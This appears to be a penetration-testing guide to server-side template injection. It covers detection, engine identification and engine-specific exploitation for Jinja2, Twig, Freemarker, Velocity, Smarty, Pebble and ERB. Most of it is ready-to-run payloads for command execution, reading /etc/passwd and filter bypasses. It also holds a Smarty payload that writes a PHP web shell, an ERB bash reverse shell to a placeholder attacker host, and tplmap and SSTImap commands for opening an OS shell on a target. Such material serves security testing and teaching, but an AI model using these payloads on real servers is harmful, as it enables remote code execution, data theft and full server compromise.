Server-Side Template Injection (SSTI)
SSTI occurs when user input is embedded into server-side templates unsafely, allowing attackers to inject template directives and achieve remote code execution. This guide covers identification, exploitation, and template engine-specific payloads.
Why SSTI Matters
SSTI is one of the most dangerous web vulnerabilities as it often leads to Remote Code Execution (RCE). Attackers can read sensitive files, execute system commands, and completely compromise the server. Many developers don't realize that user input in templates is dangerous, making SSTI surprisingly common.
Danger
📑 Table of Contents
🎯 Fundamentals
🐍 Python/Flask
🐘 PHP
☕ Java
💎 Ruby
🤖 Testing & Practice
Tools & Resources
Understanding SSTI
Template engines are used to dynamically generate HTML pages by combining templates with data. When user input is directly concatenated into templates instead of being passed as data, attackers can inject template syntax.
Vulnerable vs Safe Code
❌ Vulnerable (Jinja2)
# User input in template string
template = "Hello " + user_input
render_template_string(template)✅ Safe (Jinja2)
# User input as data parameter
template = "Hello {{ name }}"
render_template_string(template, name=user_input)SSTI Detection
Step 1: Identify Template Syntax
Different template engines use different syntax. Start with a polyglot payload to detect if template injection is possible:
# Basic detection payloads
${7*7}
{{7*7}}
{{7*'7'}}
<%= 7*7 %>
#{7*7}
*{7*7}
@(7*7)
# If you see "49" in the response, SSTI is likely presentStep 2: Identify the Template Engine
Template Engine Decision Tree
Input: {{7*'7'}}
├── Output: 7777777 → Jinja2 or Twig
│ └── Test: {{config}}
│ ├── Shows config → Jinja2 (Python)
│ └── Error → Twig (PHP)
│
├── Output: 49 → Twig, Smarty, or unknown
│ └── Test: {{_self.env.display("id")}}
│ ├── Executes → Twig
│ └── Error → Try other engines
│
├── Output: {{7*'7'}} (unchanged) → Not vulnerable or different syntax
│ └── Try: ${7*7}, <%= 7*7 %>, #{7*7}
│
└── Error message → Reveals template engine in errorTip
{{{.
Jinja2 (Python/Flask)
Jinja2 is widely used in Python frameworks like Flask and Django. It's one of the most commonly exploited template engines.
Basic Detection
# Confirm Jinja2
{{config}}
{{config.items()}}
{{self.__dict__}}
# Dump all variables
{% for key, value in config.items() %}
{{key}}: {{value}}
{% endfor %}RCE Payloads
# Method 1: Using __class__.__mro__ chain
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (usually around 400+)
{{''.__class__.__mro__[1].__subclasses__()[414]('id',shell=True,stdout=-1).communicate()}}
# Method 2: Using __globals__ and __builtins__
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Method 3: Using request object (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Method 4: Using lipsum (Flask)
{{lipsum.__globals__['os'].popen('id').read()}}
# Method 5: Using cycler (Flask)
{{cycler.__init__.__globals__.os.popen('id').read()}}Automated Subclass Finder
# Python script to find useful subclasses
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{loop.index0}}: {{c.__name__}}
{% endif %}
{% endfor %}
# Alternative: Find classes with 'read' method
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__init__.__globals__.get('__builtins__') %}
{{loop.index0}}: {{c.__name__}}
{% endif %}
{% endfor %}Filter Bypass Techniques
# Bypass underscore filter
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}
# Bypass using request args
{{request|attr(request.args.a)|attr(request.args.b)}}
# URL: ?a=__class__&b=__mro__
# Bypass quotes filter
{{request|attr(request.args.get(chr(97)))}}Twig (PHP/Symfony)
Twig is the default template engine for Symfony and is widely used in PHP applications.
Detection & Information Gathering
# Confirm Twig
{{7*7}}
{{7*'7'}}
{{"test"}}
# Get Twig version
{{_self.env.getVersion()}}
# Dump available objects
{{app.request}}
{{_context}}RCE Payloads
# Twig < 1.19 (registerUndefinedFilterCallback)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Twig < 1.19 alternative
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
# Twig 1.x (using filter)
{{'/etc/passwd'|file_excerpt(1,30)}}
# Twig 2.x / 3.x (using map)
{{["id"]|map("system")}}
# Twig 2.x / 3.x (using filter function)
{{["id"]|filter("system")}}
# Twig 3.x (using reduce)
{{[0]|reduce("system","id")}}File Read
# Read file using source
{{source('/etc/passwd')}}
# Read file using include
{{include('/etc/passwd')}}
# Read file using file_excerpt filter
{{'/etc/passwd'|file_excerpt(1,-1)}}Freemarker (Java)
Freemarker is commonly used in Java applications including Spring MVC.
Detection
# Basic detection
${7*7}
<#assign x=7*7>${x}
# Version info
${.version}RCE Payloads
# Method 1: Using Execute class
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }
# Method 2: Using ObjectConstructor
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
${oc("java.lang.ProcessBuilder", ["id"]).start()}
# Method 3: Using JythonRuntime (if Jython available)
<#assign jr="freemarker.template.utility.JythonRuntime"?new()>
<@jr>import os; os.system("id")</@jr>
# File read
<#assign is=oc("java.io.FileInputStream","/etc/passwd")>
<#assign isr=oc("java.io.InputStreamReader",is)>
<#assign br=oc("java.io.BufferedReader",isr)>
<#list 1..999 as _><#assign line=br.readLine()!><#if line?has_content>${line}</#if></#list>Velocity (Java)
# Detection
#set($x=7*7)$x
$class.inspect("java.lang.Runtime")
# RCE
#set($runtime=Class.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($reader=Class.forName("java.io.BufferedReader").getConstructor(Class.forName("java.io.Reader")).newInstance(Class.forName("java.io.InputStreamReader").getConstructor(Class.forName("java.io.InputStream")).newInstance($process.getInputStream())))
#foreach($i in [1..999])
#set($line=$reader.readLine())
#if($line)$line#end
#endSmarty (PHP)
# Detection
{$smarty.version}
{7*7}
# RCE (Smarty < 3)
{php}system('id');{/php}
# RCE (Smarty >= 3) - if security disabled
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']);?>",self::clearConfig())}
# Using tags
{system('id')}
{exec('id')}Pebble (Java)
# Detection
{{ "test" }}
{{ 7*7 }}
# Variable dump
{{ _context }}
# RCE
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').getConstructor((1).TYPE.forName('[B')).newInstance(bytes) }}ERB (Ruby)
# Detection
<%= 7*7 %>
<%= self %>
# File read
<%= File.read('/etc/passwd') %>
# RCE
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').readlines() %>
# Reverse shell
<%= system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") %>Automated Exploitation
Using Tplmap
# Basic scan
python tplmap.py -u "http://target.com/page?name=test"
# POST request
python tplmap.py -u "http://target.com/page" -d "name=test"
# Specify engine
python tplmap.py -u "http://target.com/page?name=test" -e jinja2
# Get OS shell
python tplmap.py -u "http://target.com/page?name=test" --os-shell
# Execute command
python tplmap.py -u "http://target.com/page?name=test" --os-cmd "id"
# Download file
python tplmap.py -u "http://target.com/page?name=test" --download "/etc/passwd" "passwd.txt"Using SSTImap
# Basic scan
python sstimap.py -u "http://target.com/page?name=test"
# Interactive mode
python sstimap.py -u "http://target.com/page?name=test" -i
# Specify technique
python sstimap.py -u "http://target.com/page?name=test" --technique R
# Using Burp proxy
python sstimap.py -u "http://target.com/page?name=test" --proxy http://127.0.0.1:8080Testing Checklist
🔍 Detection
- ○ Test all user input fields with {{7*7}}
- ○ Check error messages for template engine info
- ○ Test URL parameters, POST data, headers
- ○ Check email templates, PDF generators
- ○ Test file names in upload features
🎯 Identification
- ○ Use decision tree to identify engine
- ○ Check response differences with various syntax
- ○ Look for technology hints in headers
- ○ Check framework-specific endpoints
- ○ Test multiple syntax styles
💥 Exploitation
- ○ Try engine-specific RCE payloads
- ○ Attempt file read first (less risky)
- ○ Use automation tools for efficiency
- ○ Test blind SSTI with time delays
- ○ Try out-of-band data exfiltration
🔓 Bypass Techniques
- ○ Hex encoding for filtered chars
- ○ String concatenation to avoid filters
- ○ Using request parameters for payload parts
- ○ Alternative syntax variations
- ○ Unicode normalization bypasses